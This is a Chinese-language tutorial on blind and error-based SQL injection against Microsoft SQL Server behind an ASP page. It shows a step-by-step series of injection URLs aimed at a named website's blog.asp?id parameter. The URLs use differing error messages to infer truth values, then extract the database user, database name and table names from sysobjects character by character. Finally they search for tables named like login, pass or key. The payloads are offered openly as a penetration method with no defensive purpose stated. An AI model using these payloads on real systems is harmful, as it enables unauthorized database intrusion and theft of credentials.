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| 关键词： sysobjects name select xtype where geoipcountrywhoi Server user 语句 top |
如何灵活地运用SQL Injection做数据库渗透的一种思路如今，很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方 www.xxxxx.com/blog.asp?id=4当加入" ' "符号进行注入测试时，www.xxxxx.com/blog.asp?id=4'出错信息是，[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int我们知道它不对" ' "符号进行过滤。再用如下语句测试，http://www.aquavelvas.com/blog.asp?id=4 and 1=1出错信息是，[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int好，再来继续测试，http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1这次出错讯息不同了，如下[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '我们的" ' "符号加对了，再继续测试，http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>'0出错信息如下，[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user>'应该是语法不允许直接回值，是不是不能再继续了呢？想想其他办法，就看user值的长度吧，http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>'0出错信息是，[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)>'好，我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话，那语句在逻辑上是错的；而如果出错信息是Incorrect syntax...的话，那语句在逻辑上就是对的。当处理len(user)>0，凭着刚才的想法，我们知道在逻辑上这是对的。我们试试逻辑上错的语句，http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2果然，出错信息是，Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record从len(user)>0这语法的基础上，我们得知user的长度是7，之后再用left(user,1)=a这语法来猜出user名是thomasa。再用db_name()这个function，我们可猜出数据库名。好了，如何猜表名呢？就先猜表名的长度吧，就用如下语句，len(select top 1 name from sysobjects where xtype='U')>10len(select top 1 name from sysobjects where xtype='U')>9len(select top 1 name from sysobjects where xtype='U')>8...(猜表名的工作是很烦人，建议用perl写个script来玩玩)再猜表名，left((select top 1 name from sysobjects where xtype='U'),1)=aleft((select top 1 name from sysobjects where xtype='U'),2)=ableft((select top 1 name from sysobjects where xtype='U'),3)=abc...好了，我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧！)再继续猜表名，len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>10len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>9len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>8...left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=bleft((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=lleft((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o....好第二个表名是blog，之后的表名可用('geoipcountrywhois','blog')来继续猜，然而，这显然不是好办法。为什么我们不进行搜索呢？如何搜索呢？就用如下的语句吧，(select count(*) from sysobjects where xtype='U' and name like '%login%')=0(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0(select count(*) from sysobjects where xtype='U' and name like '%key%')=0(记得将" % "这符号换成" %25 "才是正确的输入)好了，通过逻辑上对或错的判断，我们也可以对数据库进行渗透，不再局限于回弹显示值。希望这思路能开阔注入技术的演变。 |
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